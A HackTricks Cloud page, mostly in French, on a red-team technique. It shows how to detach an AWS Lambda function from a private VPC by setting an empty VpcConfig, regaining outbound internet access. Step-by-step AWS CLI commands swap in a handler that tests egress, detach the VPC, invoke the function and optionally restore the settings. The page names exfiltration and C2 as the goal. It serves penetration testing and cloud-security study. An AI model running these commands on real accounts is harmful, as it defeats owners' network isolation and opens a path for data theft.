AWS Lambda – VPC Egress Bypass by Detaching VpcConfig
Reading time: 3 minutes
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Force a Lambda function out of a restricted VPC by updating its configuration with an empty VpcConfig (SubnetIds=[], SecurityGroupIds=[]). The function will then run in the Lambda-managed networking plane, regaining outbound internet access and bypassing egress controls enforced by private VPC subnets without NAT.
Exploitation
- Pré-requis : lambda:UpdateFunctionConfiguration sur la fonction cible (et lambda:InvokeFunction pour valider), plus les permissions pour mettre à jour le code/handler si vous les modifiez.
- Hypothèses : La fonction est actuellement configurée avec VpcConfig pointant vers des sous-réseaux privés sans NAT (donc l'accès Internet sortant est bloqué).
- Région : us-east-1
Étapes
- Préparez un handler minimal qui prouve que l'HTTP sortant fonctionne
cat > net.py <<'PY' import urllib.request, json
def lambda_handler(event, context): try: ip = urllib.request.urlopen('https://checkip.amazonaws.com', timeout=3).read().decode().strip() return {"egress": True, "ip": ip} except Exception as e: return {"egress": False, "err": str(e)} PY zip net.zip net.py aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://net.zip --region $REGION || true aws lambda update-function-configuration --function-name $TARGET_FN --handler net.lambda_handler --region $REGION || true
- Enregistrez la configuration VPC actuelle (pour la restaurer plus tard si nécessaire)
aws lambda get-function-configuration --function-name $TARGET_FN --query 'VpcConfig' --region $REGION > /tmp/orig-vpc.json cat /tmp/orig-vpc.json
- Détachez le VPC en définissant des listes vides
aws lambda update-function-configuration
--function-name $TARGET_FN
--vpc-config SubnetIds=[],SecurityGroupIds=[]
--region $REGION
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
- Invoquez et vérifiez l'accès sortant
aws lambda invoke --function-name $TARGET_FN /tmp/net-out.json --region $REGION >/dev/null cat /tmp/net-out.json
(Optional) Restaurez la configuration VPC originale
if jq -e '.SubnetIds | length > 0' /tmp/orig-vpc.json >/dev/null; then SUBS=$(jq -r '.SubnetIds | join(",")' /tmp/orig-vpc.json); SGS=$(jq -r '.SecurityGroupIds | join(",")' /tmp/orig-vpc.json) aws lambda update-function-configuration --function-name $TARGET_FN --vpc-config SubnetIds=[$SUBS],SecurityGroupIds=[$SGS] --region $REGION fi
Impact
- Rétablit un accès Internet sortant non restreint depuis la fonction, permettant la data exfiltration ou du C2 depuis des workloads qui étaient intentionnellement isolés dans des sous-réseaux privés sans NAT.
Exemple de sortie (après avoir détaché VpcConfig)
{"egress": true, "ip": "34.x.x.x"}
Nettoyage
- Si vous avez créé des modifications temporaires au code/handler, restaurez-les.
- Optionnellement, restaurez le VpcConfig original sauvegardé dans /tmp/orig-vpc.json comme montré ci-dessus.
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks Cloud